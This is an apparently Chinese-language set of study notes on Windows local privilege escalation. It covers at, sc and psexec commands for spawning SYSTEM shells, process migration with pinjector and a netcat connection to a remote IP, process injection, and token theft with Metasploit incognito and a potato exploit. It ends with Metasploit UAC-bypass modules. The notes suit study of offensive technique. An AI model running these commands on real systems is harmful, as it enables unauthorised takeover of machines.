本地用户提权,不适用webshell权限;适合已经拥有一个具有一定权限用户的情况。
0x01 win-本地用户提权-AT&SC&PS
at命令
适用版本:Win2000 & Win2003 & XP 中还是存在的,在 Win7 以后被剔除,win7可以使用;
Test in Win2k3 at 21:00 /interactive cmd (在 20:33 分生成一个交互式的 System 权限的
cmd)
示例: 可以看到右边新建的计划任务窗口的权限是system;
sc命令
适用版本:windows 7、8、03、08、12、16
#创建一个名叫 syscmd 的新的交互式的 cmd 执行服务
sc Create syscmd binPath= "cmd /K start" type= own type= interact
#运行服务
sc start syscmd
示例: 可以看到右边新建的计划任务窗口的权限是system;
ps命令
psexec是微软自带的一个调试的工具,利用了系统本身的一个特性,并不会被杀软拦截并且多个主机复现成功;
psexec.exe -accepteula -s -i -d cmd #调用运行 cmd
0x02 进程迁移
大概意思就是低权限的用户进程迁移到系统中正在运行的system权限的进程中去,共享其权限;
适用版本:windows 2008之前都行 (测试了2003)
命令
pinjector -l
pinjector -p 420 cmd 3333
nc 192.268.46.149 3333
步骤:先上传pinjector.exe文件,使用参数-l查看进程信息和id,然后使用参数-p选择system权限进行迁移并映射到3333端口,最后使用nc监听本地的3333端口即可;
0x03 进程注入
2003、2008、2016均可,条件就是非低权限用户,最好是administeator
步骤:上线-ps查看进程-migrate+PID即可迁移到对应进程下
0x04 令牌窃取
2008、2012、2016均可
大概原理就是每个用户就是一个令牌或者是编号,获取其他高权限的令牌来伪造身份;
步骤:上线--使用msf模块
use incognito 使用进程注入模块
list_tokens -u 查看系统中的token 有system即可尝试窃取
impersonate_token "NT AUTHORITY\SYSTEM" 窃取令牌
web权限的话可以结合烂土豆来提权
步骤:上线-上传烂土豆-执行烂土豆提权至系统权限-执行令牌窃取到system权限
执行烂土豆命令
execute -cH -f ./potato.exe
此时就可以看到system的令牌
0x05 uac前置知识
本地用户提权可以使用msf中的命令`getsystem`来自动尝试可以使用的提权方式来到system权限,单使用的时候除了要考虑杀软和网络的问题还要考虑uac的问题,如果服务器或者主机开启了不同等级的uac,所使用到的提权的情况不一样,所以才提出了uac的绕过;
win7UAC bypass测试
步骤: 上线--使用bypassuac模块-再次getsystem
关闭、低、中等级的可以绕过,高等级的没法使用bypassuac模块进行绕过,可以使用ask模块绕过,需要用户再次点击才行,不点击不行;
use exploit/windows/local/ask
点击是